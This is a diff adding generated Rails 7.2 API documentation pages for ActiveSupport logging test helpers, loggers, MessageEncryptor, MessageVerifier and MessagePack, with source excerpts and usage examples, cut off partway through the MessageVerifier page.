Provides some helpers to deal with testing log subscribers by setting up notifications. Take for instance Active Record subscriber tests:

+ +
class SyncLogSubscriberTest < ActiveSupport::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
+
+  setup do
+    ActiveRecord::LogSubscriber.attach_to(:active_record)
+  end
+
+  def test_basic_query_logging
+    Developer.all.to_a
+    wait
+    assert_equal 1, @logger.logged(:debug).size
+    assert_match(/Developer Load/, @logger.logged(:debug).last)
+    assert_match(/SELECT \* FROM "developers"/, @logger.logged(:debug).last)
+  end
+end
+
+ +

All you need to do is to ensure that your log subscriber is added to Rails::Subscriber, as in the second line of the code above. The test helpers are responsible for setting up the queue and subscriptions, and turning colors in logs off.

+ +

The messages are available in the @logger instance, which is a logger with limited powers (it actually does not send anything to your output), and you can collect them doing @logger.logged(level), where level is the level used in logging, like info, debug, warn, and so on.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + set_logger(logger) + +

+ + +
+

Overwrite if you use another logger in your log subscriber.

+ +
def logger
+  ActiveRecord::Base.logger = @logger
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber/test_helper.rb, line 101
+      def set_logger(logger)
+        ActiveSupport::LogSubscriber.logger = logger
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wait() + +

+ + +
+

Wait notifications to be published.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber/test_helper.rb, line 92
+      def wait
+        @notifier.wait
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/LogSubscriber/TestHelper/MockLogger.html b/src/7.2/classes/ActiveSupport/LogSubscriber/TestHelper/MockLogger.html new file mode 100644 index 0000000000..50bcf4ddfb --- /dev/null +++ b/src/7.2/classes/ActiveSupport/LogSubscriber/TestHelper/MockLogger.html @@ -0,0 +1,267 @@ +--- +title: ActiveSupport::LogSubscriber::TestHelper::MockLogger +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + ActiveSupport::Logger::Severity + +
  • + +
+ + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + flush_count
+ [RW] + level
+ + + + +

Class Public methods

+ +
+

+ + new(level = DEBUG) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber/test_helper.rb, line 60
+        def initialize(level = DEBUG)
+          @flush_count = 0
+          @level = level
+          @logged = Hash.new { |h, k| h[k] = [] }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + flush() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber/test_helper.rb, line 78
+        def flush
+          @flush_count += 1
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logged(level) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber/test_helper.rb, line 74
+        def logged(level)
+          @logged[level].compact.map { |l| l.to_s.strip }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_missing(level, message = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/log_subscriber/test_helper.rb, line 66
+        def method_missing(level, message = nil)
+          if block_given?
+            @logged[level] << yield
+          else
+            @logged[level] << message
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Logger.html b/src/7.2/classes/ActiveSupport/Logger.html new file mode 100644 index 0000000000..9b04486f2e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Logger.html @@ -0,0 +1,243 @@ +--- +title: ActiveSupport::Logger +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + logger_outputs_to?(logger, *sources) + +

+ + +
+

Returns true if the logger destination matches one of the sources

+ +
logger = Logger.new(STDOUT)
+ActiveSupport::Logger.logger_outputs_to?(logger, STDOUT)
+# => true
+
+logger = Logger.new('/var/log/rails.log')
+ActiveSupport::Logger.logger_outputs_to?(logger, '/var/log/rails.log')
+# => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/logger.rb, line 20
+    def self.logger_outputs_to?(logger, *sources)
+      loggers = if logger.is_a?(BroadcastLogger)
+        logger.broadcasts
+      else
+        [logger]
+      end
+
+      logdevs = loggers.map { |logger| logger.instance_variable_get(:@logdev) }
+      logger_sources = logdevs.filter_map { |logdev| logdev.try(:filename) || logdev.try(:dev) }
+
+      normalize_sources(sources).intersect?(normalize_sources(logger_sources))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(*args, **kwargs) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/logger.rb, line 33
+    def initialize(*args, **kwargs)
+      super
+      @formatter ||= SimpleFormatter.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + normalize_sources(sources) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/logger.rb, line 47
+      def self.normalize_sources(sources)
+        sources.map do |source|
+          source = source.path if source.respond_to?(:path)
+          source = File.realpath(source) if source.is_a?(String) && File.exist?(source)
+          source
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Logger/SimpleFormatter.html b/src/7.2/classes/ActiveSupport/Logger/SimpleFormatter.html new file mode 100644 index 0000000000..2f28895d8d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Logger/SimpleFormatter.html @@ -0,0 +1,113 @@ +--- +title: ActiveSupport::Logger::SimpleFormatter +layout: default +--- +
+ +
+
+ +
+ +

Simple formatter which only displays the message.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + call(severity, timestamp, progname, msg) + +

+ + +
+

This method is invoked when a log event occurs

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/logger.rb, line 41
+      def call(severity, timestamp, progname, msg)
+        "#{String === msg ? msg : msg.inspect}\n"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/LoggerSilence.html b/src/7.2/classes/ActiveSupport/LoggerSilence.html new file mode 100644 index 0000000000..51b0560f87 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/LoggerSilence.html @@ -0,0 +1,101 @@ +--- +title: ActiveSupport::LoggerSilence +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + silence(severity = Logger::ERROR) + +

+ + +
+

Silences the logger for the duration of the block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/logger_silence.rb, line 17
+    def silence(severity = Logger::ERROR)
+      silencer ? log_at(severity) { yield self } : yield(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessageEncryptor.html b/src/7.2/classes/ActiveSupport/MessageEncryptor.html new file mode 100644 index 0000000000..14adecd200 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessageEncryptor.html @@ -0,0 +1,415 @@ +--- +title: ActiveSupport::MessageEncryptor +layout: default +--- +
+ +
+
+ +
+ +

Active Support Message Encryptor

+ +

MessageEncryptor is a simple way to encrypt values which get stored somewhere you don’t trust.

+ +

The cipher text and initialization vector are base64 encoded and returned to you.

+ +

This can be used in situations similar to the MessageVerifier, but where you don’t want users to be able to determine the value of the payload.

+ +
len   = ActiveSupport::MessageEncryptor.key_len
+salt  = SecureRandom.random_bytes(len)
+key   = ActiveSupport::KeyGenerator.new('password').generate_key(salt, len) # => "\x89\xE0\x156\xAC..."
+crypt = ActiveSupport::MessageEncryptor.new(key)                            # => #<ActiveSupport::MessageEncryptor ...>
+encrypted_data = crypt.encrypt_and_sign('my secret data')                   # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
+crypt.decrypt_and_verify(encrypted_data)                                    # => "my secret data"
+
+ +

The decrypt_and_verify method will raise an ActiveSupport::MessageEncryptor::InvalidMessage exception if the data provided cannot be decrypted or verified.

+ +
crypt.decrypt_and_verify('not encrypted data') # => ActiveSupport::MessageEncryptor::InvalidMessage
+
+ +

Confining messages to a specific purpose

+ +

By default any message can be used throughout your app. But they can also be confined to a specific :purpose.

+ +
token = crypt.encrypt_and_sign("this is the chair", purpose: :login)
+
+ +

Then that same purpose must be passed when verifying to get the data back out:

+ +
crypt.decrypt_and_verify(token, purpose: :login)    # => "this is the chair"
+crypt.decrypt_and_verify(token, purpose: :shipping) # => nil
+crypt.decrypt_and_verify(token)                     # => nil
+
+ +

Likewise, if a message has no purpose it won’t be returned when verifying with a specific purpose.

+ +
token = crypt.encrypt_and_sign("the conversation is lively")
+crypt.decrypt_and_verify(token, purpose: :scare_tactics) # => nil
+crypt.decrypt_and_verify(token)                          # => "the conversation is lively"
+
+ +

Making messages expire

+ +

By default messages last forever and verifying one year from now will still return the original value. But messages can be set to expire at a given time with :expires_in or :expires_at.

+ +
crypt.encrypt_and_sign(parcel, expires_in: 1.month)
+crypt.encrypt_and_sign(doowad, expires_at: Time.now.end_of_year)
+
+ +

Then the messages can be verified and returned up to the expire time. Thereafter, verifying returns nil.

+ +

Rotating keys

+ +

MessageEncryptor also supports rotating out old configurations by falling back to a stack of encryptors. Call rotate to build and add an encryptor so decrypt_and_verify will also try the fallback.

+ +

By default any rotated encryptors use the values of the primary encryptor unless specified otherwise.

+ +

You’d give your encryptor the new defaults:

+ +
crypt = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
+
+ +

Then gradually rotate the old values out by adding them as fallbacks. Any message generated with the old values will then work until the rotation is removed.

+ +
crypt.rotate old_secret            # Fallback to an old secret instead of @secret.
+crypt.rotate cipher: "aes-256-cbc" # Fallback to an old cipher instead of aes-256-gcm.
+
+ +

Though if both the secret and the cipher was changed at the same time, the above should be combined into:

+ +
crypt.rotate old_secret, cipher: "aes-256-cbc"
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
OpenSSLCipherError=OpenSSL::Cipher::CipherError
+ + + + + + +

Class Public methods

+ +
+

+ + key_len(cipher = default_cipher) + +

+ + +
+

Given a cipher, returns the key length of the cipher to help generate the key of desired size

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_encryptor.rb, line 252
+    def self.key_len(cipher = default_cipher)
+      OpenSSL::Cipher.new(cipher).key_len
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(secret, sign_secret = nil, **options) + +

+ + +
+

Initialize a new MessageEncryptor. secret must be at least as long as the cipher key size. For the default β€˜aes-256-gcm’ cipher, this is 256 bits. If you are using a user-entered secret, you can generate a suitable key by using ActiveSupport::KeyGenerator or a similar key derivation function.

+ +

The first additional parameter is used as the signature key for MessageVerifier. This allows you to specify keys to encrypt and sign data. Ignored when using an AEAD cipher like β€˜aes-256-gcm’.

+ +
ActiveSupport::MessageEncryptor.new('secret', 'signature_secret')
+
+ +

Options

+
:cipher +
+

Cipher to use. Can be any cipher returned by OpenSSL::Cipher.ciphers. Default is β€˜aes-256-gcm’.

+
:digest +
+

Digest used for signing. Ignored when using an AEAD cipher like β€˜aes-256-gcm’.

+
:serializer +
+

The serializer used to serialize message data. You can specify any object that responds to dump and load, or you can choose from several preconfigured serializers: :marshal, :json_allow_marshal, :json, :message_pack_allow_marshal, :message_pack.

+ +

The preconfigured serializers include a fallback mechanism to support multiple deserialization formats. For example, the :marshal serializer will serialize using Marshal, but can deserialize using Marshal, ActiveSupport::JSON, or ActiveSupport::MessagePack. This makes it easy to migrate between serializers.

+ +

The :marshal, :json_allow_marshal, and :message_pack_allow_marshal serializers support deserializing using Marshal, but the others do not. Beware that Marshal is a potential vector for deserialization attacks in cases where a message signing secret has been leaked. If possible, choose a serializer that does not support Marshal.

+ +

The :message_pack and :message_pack_allow_marshal serializers use ActiveSupport::MessagePack, which can roundtrip some Ruby types that are not supported by JSON, and may provide improved performance. However, these require the msgpack gem.

+ +

When using Rails, the default depends on config.active_support.message_serializer. Otherwise, the default is :marshal.

+
:url_safe +
+

By default, MessageEncryptor generates RFC 4648 compliant strings which are not URL-safe. In other words, they can contain β€œ+” and β€œ/”. If you want to generate URL-safe strings (in compliance with β€œBase 64 Encoding with URL and Filename Safe Alphabet” in RFC 4648), you can pass true.

+
:force_legacy_metadata_serializer +
+

Whether to use the legacy metadata serializer, which serializes the message first, then wraps it in an envelope which is also serialized. This was the default in Rails 7.0 and below.

+ +

If you don’t pass a truthy value, the default is set using config.active_support.use_message_serializer_for_metadata.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_encryptor.rb, line 183
+    def initialize(secret, sign_secret = nil, **options)
+      super(**options)
+      @secret = secret
+      @cipher = options[:cipher] || self.class.default_cipher
+      @aead_mode = new_cipher.authenticated?
+      @verifier = if !@aead_mode
+        MessageVerifier.new(sign_secret || secret, **options, serializer: NullSerializer)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + decrypt_and_verify(message, **options) + +

+ + +
+

Decrypt and verify a message. We need to verify the message in order to avoid padding attacks. Reference: www.limited-entropy.com/padding-oracle-attacks/.

+ +

Options

+
:purpose +
+

The purpose that the message was generated with. If the purpose does not match, decrypt_and_verify will return nil.

+ +
message = encryptor.encrypt_and_sign("hello", purpose: "greeting")
+encryptor.decrypt_and_verify(message, purpose: "greeting") # => "hello"
+encryptor.decrypt_and_verify(message)                      # => nil
+
+message = encryptor.encrypt_and_sign("bye")
+encryptor.decrypt_and_verify(message)                      # => "bye"
+encryptor.decrypt_and_verify(message, purpose: "greeting") # => nil
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_encryptor.rb, line 241
+    def decrypt_and_verify(message, **options)
+      catch_and_raise :invalid_message_format, as: InvalidMessage do
+        catch_and_raise :invalid_message_serialization, as: InvalidMessage do
+          catch_and_ignore :invalid_message_content do
+            read_message(message, **options)
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt_and_sign(value, **options) + +

+ + +
+

Encrypt and sign a message. We need to sign the message in order to avoid padding attacks. Reference: www.limited-entropy.com/padding-oracle-attacks/.

+ +

Options

+
:expires_at +
+

The datetime at which the message expires. After this datetime, verification of the message will fail.

+ +
message = encryptor.encrypt_and_sign("hello", expires_at: Time.now.tomorrow)
+encryptor.decrypt_and_verify(message) # => "hello"
+# 24 hours later...
+encryptor.decrypt_and_verify(message) # => nil
+
+
:expires_in +
+

The duration for which the message is valid. After this duration has elapsed, verification of the message will fail.

+ +
message = encryptor.encrypt_and_sign("hello", expires_in: 24.hours)
+encryptor.decrypt_and_verify(message) # => "hello"
+# 24 hours later...
+encryptor.decrypt_and_verify(message) # => nil
+
+
:purpose +
+

The purpose of the message. If specified, the same purpose must be specified when verifying the message; otherwise, verification will fail. (See decrypt_and_verify.)

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_encryptor.rb, line 220
+    def encrypt_and_sign(value, **options)
+      create_message(value, **options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessageEncryptor/InvalidMessage.html b/src/7.2/classes/ActiveSupport/MessageEncryptor/InvalidMessage.html new file mode 100644 index 0000000000..f6a7c8bf83 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessageEncryptor/InvalidMessage.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::MessageEncryptor::InvalidMessage +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessageEncryptors.html b/src/7.2/classes/ActiveSupport/MessageEncryptors.html new file mode 100644 index 0000000000..a4dd8c72f5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessageEncryptors.html @@ -0,0 +1,327 @@ +--- +title: ActiveSupport::MessageEncryptors +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + transitional

If true, the first two rotation option sets are swapped when building message encryptors. For example, with the following configuration, message encryptors will encrypt messages using serializer: Marshal, url_safe: true, and will able to decrypt messages that were encrypted using any of the three option sets:

+ +
encryptors = ActiveSupport::MessageEncryptors.new { ... }
+encryptors.rotate(serializer: JSON, url_safe: true)
+encryptors.rotate(serializer: Marshal, url_safe: true)
+encryptors.rotate(serializer: Marshal, url_safe: false)
+encryptors.transitional = true
+
+ +

This can be useful when performing a rolling deploy of an application, wherein servers that have not yet been updated must still be able to decrypt messages from updated servers. In such a scenario, first perform a rolling deploy with the new rotation (e.g. serializer: JSON, url_safe: true) as the first rotation and transitional = true. Then, after all servers have been updated, perform a second rolling deploy with transitional = false.

+ + + + + +

Instance Public methods

+ +
+

+ + [](salt) + + +

+ + +
+

Returns a MessageEncryptor configured with a secret derived from the given salt, and options from rotate. MessageEncryptor instances will be memoized, so the same salt will return the same instance.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + []=(salt, encryptor) + + +

+ + +
+

Overrides a MessageEncryptor instance associated with a given salt.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + clear_rotations + + +

+ + +
+

Clears the list of option sets.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + initialize(&secret_generator) + + +

+ + +
+

Initializes a new instance. secret_generator must accept a salt and a secret_length kwarg, and return a suitable secret (string) or secrets (array of strings). secret_generator may also accept other arbitrary kwargs. If rotate is called with any options matching those kwargs, those options will be passed to secret_generator instead of to the message encryptor.

+ +
encryptors = ActiveSupport::MessageEncryptors.new do |salt, secret_length:, base:|
+  MySecretGenerator.new(base).generate(salt, secret_length)
+end
+
+encryptors.rotate(base: "...")
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + on_rotation(&callback) + + +

+ + +
+

Sets a callback to invoke when a message is decrypted using an option set other than the first.

+ +

For example, this callback could log each time it is called, and thus indicate whether old option sets are still in use or can be removed from rotation.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + rotate(**options)
rotate(&block) + + +

+ + +
+

Adds options to the list of option sets. Messages will be encrypted using the first set in the list. When decrypting, however, each set will be tried, in order, until one succeeds.

+ +

Notably, the :secret_generator option can specify a different secret generator than the one initially specified. The secret generator must respond to call, accept a salt and a secret_length kwarg, and return a suitable secret (string) or secrets (array of strings). The secret generator may also accept other arbitrary kwargs.

+ +

If any options match the kwargs of the operative secret generator, those options will be passed to the secret generator instead of to the message encryptor.

+ +

For fine-grained per-salt rotations, a block form is supported. The block will receive the salt, and should return an appropriate options Hash. The block may also return nil to indicate that the rotation does not apply to the given salt. For example:

+ +
encryptors = ActiveSupport::MessageEncryptors.new { ... }
+
+encryptors.rotate do |salt|
+  case salt
+  when :foo
+    { serializer: JSON, url_safe: true }
+  when :bar
+    { serializer: Marshal, url_safe: true }
+  end
+end
+
+encryptors.rotate(serializer: Marshal, url_safe: false)
+
+# Uses `serializer: JSON, url_safe: true`.
+# Falls back to `serializer: Marshal, url_safe: false`.
+encryptors[:foo]
+
+# Uses `serializer: Marshal, url_safe: true`.
+# Falls back to `serializer: Marshal, url_safe: false`.
+encryptors[:bar]
+
+# Uses `serializer: Marshal, url_safe: false`.
+encryptors[:baz]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + rotate_defaults + + +

+ + +
+

Invokes rotate with the default options.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessagePack.html b/src/7.2/classes/ActiveSupport/MessagePack.html new file mode 100644 index 0000000000..719a794d11 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessagePack.html @@ -0,0 +1,172 @@ +--- +title: ActiveSupport::MessagePack +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + dump(object) + + +

+ + +
+

Dumps an object. Raises ActiveSupport::MessagePack::UnserializableObjectError if the object type is not supported.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + load(dumped) + + +

+ + +
+

Loads an object dump created by ::dump.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + signature?(dumped) + + +

+ + +
+

Returns true if the given dump begins with an ActiveSupport::MessagePack signature.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessagePack/CacheSerializer.html b/src/7.2/classes/ActiveSupport/MessagePack/CacheSerializer.html new file mode 100644 index 0000000000..c70cbca16e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessagePack/CacheSerializer.html @@ -0,0 +1,103 @@ +--- +title: ActiveSupport::MessagePack::CacheSerializer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + load(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_pack/cache_serializer.rb, line 11
+      def load(dumped)
+        super
+      rescue ActiveSupport::MessagePack::MissingClassError
+        # Treat missing class as cache miss => return nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessagePack/UnserializableObjectError.html b/src/7.2/classes/ActiveSupport/MessagePack/UnserializableObjectError.html new file mode 100644 index 0000000000..084e7469d5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessagePack/UnserializableObjectError.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::MessagePack::UnserializableObjectError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessageVerifier.html b/src/7.2/classes/ActiveSupport/MessageVerifier.html new file mode 100644 index 0000000000..119575aca4 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessageVerifier.html @@ -0,0 +1,525 @@ +--- +title: ActiveSupport::MessageVerifier +layout: default +--- +
+ +
+
+ +
+ +

Active Support Message Verifier

+ +

MessageVerifier makes it easy to generate and verify messages which are signed to prevent tampering.

+ +

In a Rails application, you can use Rails.application.message_verifier to manage unique instances of verifiers for each use case. Learn more.

+ +

This is useful for cases like remember-me tokens and auto-unsubscribe links where the session store isn’t suitable or available.

+ +

First, generate a signed message:

+ +
cookies[:remember_me] = Rails.application.message_verifier(:remember_me).generate([@user.id, 2.weeks.from_now])
+
+ +

Later verify that message:

+ +
id, time = Rails.application.message_verifier(:remember_me).verify(cookies[:remember_me])
+if time.future?
+  self.current_user = User.find(id)
+end
+
+ +

Signing is not encryption

+ +

The signed messages are not encrypted. The payload is merely encoded (Base64 by default) and can be decoded by anyone. The signature is just assuring that the message wasn’t tampered with. For example:

+ +
message = Rails.application.message_verifier('my_purpose').generate('never put secrets here')
+# => "BAhJIhtuZXZlciBwdXQgc2VjcmV0cyBoZXJlBjoGRVQ=--a0c1c0827919da5e949e989c971249355735e140"
+Base64.decode64(message.split("--").first) # no key needed
+# => 'never put secrets here'
+
+ +

If you also need to encrypt the contents, you must use ActiveSupport::MessageEncryptor instead.

+ +

Confine messages to a specific purpose

+ +

It’s not recommended to use the same verifier for different purposes in your application. Doing so could allow a malicious actor to re-use a signed message to perform an unauthorized action. You can reduce this risk by confining signed messages to a specific :purpose.

+ +
token = @verifier.generate("signed message", purpose: :login)
+
+ +

Then that same purpose must be passed when verifying to get the data back out:

+ +
@verifier.verified(token, purpose: :login)    # => "signed message"
+@verifier.verified(token, purpose: :shipping) # => nil
+@verifier.verified(token)                     # => nil
+
+@verifier.verify(token, purpose: :login)      # => "signed message"
+@verifier.verify(token, purpose: :shipping)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+@verifier.verify(token)                       # => raises ActiveSupport::MessageVerifier::InvalidSignature
+
+ +

Likewise, if a message has no purpose it won’t be returned when verifying with a specific purpose.

+ +
token = @verifier.generate("signed message")
+@verifier.verified(token, purpose: :redirect) # => nil
+@verifier.verified(token)                     # => "signed message"
+
+@verifier.verify(token, purpose: :redirect)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+@verifier.verify(token)                       # => "signed message"
+
+ +

Expiring messages

+ +

By default messages last forever and verifying one year from now will still return the original value. But messages can be set to expire at a given time with :expires_in or :expires_at.

+ +
@verifier.generate("signed message", expires_in: 1.month)
+@verifier.generate("signed message", expires_at: Time.now.end_of_year)
+
+ +

Messages can then be verified and returned until expiry. Thereafter, the verified method returns nil while verify raises ActiveSupport::MessageVerifier::InvalidSignature.

+ +

Rotating keys

+ +

MessageVerifier also supports rotating out old configurations by falling back to a stack of verifiers. Call rotate to build and add a verifier so either verified or verify will also try verifying with the fallback.

+ +

By default any rotated verifiers use the values of the primary verifier unless specified otherwise.

+ +

You’d give your verifier the new defaults:

+ +
verifier = ActiveSupport::MessageVerifier.new(@secret, digest: "SHA512", serializer: JSON)
+
+ +

Then gradually rotate the old values out by adding them as fallbacks. Any message generated with the old values will then work until the rotation is removed.

+ +
verifier.rotate(old_secret)          # Fallback to an old secret instead of @secret.
+verifier.rotate(digest: "SHA256")    # Fallback to an old digest instead of SHA512.
+verifier.rotate(serializer: Marshal) # Fallback to an old serializer instead of JSON.
+
+ +

Though the above would most likely be combined into one rotation:

+ +
verifier.rotate(old_secret, digest: "SHA256", serializer: Marshal)
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(secret, **options) + +

+ + +
+

Initialize a new MessageVerifier with a secret for the signature.

+ +

Options

+
:digest +
+

Digest used for signing. The default is "SHA1". See OpenSSL::Digest for alternatives.

+
:serializer +
+

The serializer used to serialize message data. You can specify any object that responds to dump and load, or you can choose from several preconfigured serializers: :marshal, :json_allow_marshal, :json, :message_pack_allow_marshal, :message_pack.

+ +

The preconfigured serializers include a fallback mechanism to support multiple deserialization formats. For example, the :marshal serializer will serialize using Marshal, but can deserialize using Marshal, ActiveSupport::JSON, or ActiveSupport::MessagePack. This makes it easy to migrate between serializers.

+ +

The :marshal, :json_allow_marshal, and :message_pack_allow_marshal serializers support deserializing using Marshal, but the others do not. Beware that Marshal is a potential vector for deserialization attacks in cases where a message signing secret has been leaked. If possible, choose a serializer that does not support Marshal.

+ +

The :message_pack and :message_pack_allow_marshal serializers use ActiveSupport::MessagePack, which can roundtrip some Ruby types that are not supported by JSON, and may provide improved performance. However, these require the msgpack gem.

+ +

When using Rails, the default depends on config.active_support.message_serializer. Otherwise, the default is :marshal.

+
:url_safe +
+

By default, MessageVerifier generates RFC 4648 compliant strings which are not URL-safe. In other words, they can contain β€œ+” and β€œ/”. If you want to generate URL-safe strings (in compliance with β€œBase 64 Encoding with URL and Filename Safe Alphabet” in RFC 4648), you can pass true.

+
:force_legacy_metadata_serializer +
+

Whether to use the legacy metadata serializer, which serializes the message first, then wraps it in an envelope which is also serialized. This was the default in Rails 7.0 and below.

+ +

If you don’t pass a truthy value, the default is set using config.active_support.use_message_serializer_for_metadata.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_verifier.rb, line 165
+    def initialize(secret, **options)
+      raise ArgumentError, "Secret should not be nil." unless secret
+      super(**options)
+      @secret = secret
+      @digest = options[:digest]&.to_s || "SHA1"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + generate(value, **options) + +

+ + +
+

Generates a signed message for the provided value.

+ +

The message is signed with the MessageVerifierβ€˜s secret. Returns Base64-encoded message joined with the generated signature.

+ +
verifier = ActiveSupport::MessageVerifier.new("secret")
+verifier.generate("signed message") # => "BAhJIhNzaWduZWQgbWVzc2FnZQY6BkVU--f67d5f27c3ee0b8483cebf2103757455e947493b"
+
+ +

Options

+
:expires_at +
+

The datetime at which the message expires. After this datetime, verification of the message will fail.

+ +
message = verifier.generate("hello", expires_at: Time.now.tomorrow)
+verifier.verified(message) # => "hello"
+# 24 hours later...
+verifier.verified(message) # => nil
+verifier.verify(message)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+
+
:expires_in +
+

The duration for which the message is valid. After this duration has elapsed, verification of the message will fail.

+ +
message = verifier.generate("hello", expires_in: 24.hours)
+verifier.verified(message) # => "hello"
+# 24 hours later...
+verifier.verified(message) # => nil
+verifier.verify(message)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+
+
:purpose +
+

The purpose of the message. If specified, the same purpose must be specified when verifying the message; otherwise, verification will fail. (See verified and verify.)

+
+
